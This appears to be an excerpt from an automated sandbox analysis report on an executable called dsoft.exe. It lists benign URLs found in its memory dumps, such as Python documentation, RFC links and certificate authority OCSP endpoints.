            Source: dsoft.exe, 00000001.00000002.2569758570.00000294897B8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555273691.00000294897D9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569188724.000002948966F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568617414.0000029489480000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540830985.000002948966D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554770651.000002948970D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559789819.00000294884AE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551581637.0000029489712000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535580170.0000029489668000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551408444.000002948970C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570912516.000002948A018000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554512563.0000029489788000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2571284642.000002948A350000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569802443.00000294897E8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552554927.0000029489779000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
            Source: dsoft.exe, 00000001.00000002.2571047548.000002948A0E0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.00000294896AA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.0000029489689000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192181460.000001FA5CCDF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
            Source: dsoft.exe, 00000001.00000002.2570716868.0000029489D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
            Source: dsoft.exe, 00000001.00000002.2570716868.0000029489D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
            Source: dsoft.exe, 00000001.00000002.2568483891.0000029489380000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
            Source: dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548515712.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2558178753.00000294885D5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541850767.00000294885AE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545891343.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555421341.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568096593.0000029489080000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2558384388.00000294885D8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539453832.0000029488525000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540133201.0000029488535000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C1F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/library/itertools.html#recipes
            Source: dsoft.exe, 00000001.00000003.2535420058.0000029488DD9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535331948.0000029488DCC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2682594110.000001FA5C3B1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/library/unittest.html
            Source: dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2564132765.0000029488297000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010187841.000002948828D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552223297.0000029488297000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540098313.0000029488296000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539909753.0000029488247000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548897228.0000029488297000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://github.com/ActiveState/appdirs
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559002248.0000029488C70000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548674484.0000029488D9E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538385729.0000029488D9A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538354750.0000029488D91000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567353265.0000029488DA0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552508632.0000029488D9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail/
            Source: dsoft.exe, 00000001.00000003.2544948231.00000294885F3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552025454.0000029488604000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535420058.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539322355.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535862130.00000294885ED000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539030193.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547611393.0000029488E36000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554880943.0000029488604000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251415686.00000294885F0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2684580893.000001FA5CCAB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
            Source: dsoft.exe, 0000000A.00000003.2168290335.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
            Source: dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565697167.0000029488620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
            Source: dsoft.exe, 00000001.00000002.2568096593.0000029489080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://stackoverflow.com/questions/19622133/
            Source: dsoft.exe, 00000001.00000002.2567011375.0000029488C74000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559002248.0000029488C70000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547576461.0000029488C72000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc4880
            Source: dsoft.exe, 00000001.00000002.2571284642.000002948A398000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2571047548.000002948A1B4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5297
            Source: dsoft.exe, 00000001.00000003.2559144725.00000294896EB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554394468.00000294896EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.00000294896C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569525202.00000294896EB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.00000294896BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535176513.00000294896CB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677159398.000001FA5CD10000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2697557722.000001FA5CD2E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc5869
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570023169.0000029489854000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
            Source: dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
            Source: dsoft.exe, 00000001.00000003.2009384833.0000029488561000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554394468.00000294896EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.00000294896C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.00000294896BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535176513.00000294896CB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570023169.0000029489854000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2693037493.000001FA5CE24000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677159398.000001FA5CD10000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE15000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2602033242.000001FA5CE24000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2697557722.000001FA5CD2E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
            Source: dsoft.exe, 00000001.00000002.2571284642.000002948A398000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.dabeaz.com/ply)
            Source: dsoft.exe, 00000001.00000003.2556979506.0000029488A6C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2566160260.0000029488A6C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.dabeaz.com/ply)F
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
            Source: dsoft.exe, 00000001.00000003.2553993965.0000029488E3E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535420058.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539322355.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551311610.0000029488E3D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539030193.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548013457.0000029488E39000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547611393.0000029488E36000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567642669.0000029488E3E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551278603.0000029488E3A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192239761.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
            Source: dsoft.exe, 00000001.00000003.2008873908.0000029488559000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
            Source: dsoft.exe, 0000000E.00000003.2677159398.000001FA5CD10000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoftom/pkiops/Docs/Repository./
            Source: dsoft.exe, 00000001.00000003.2009384833.0000029488561000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
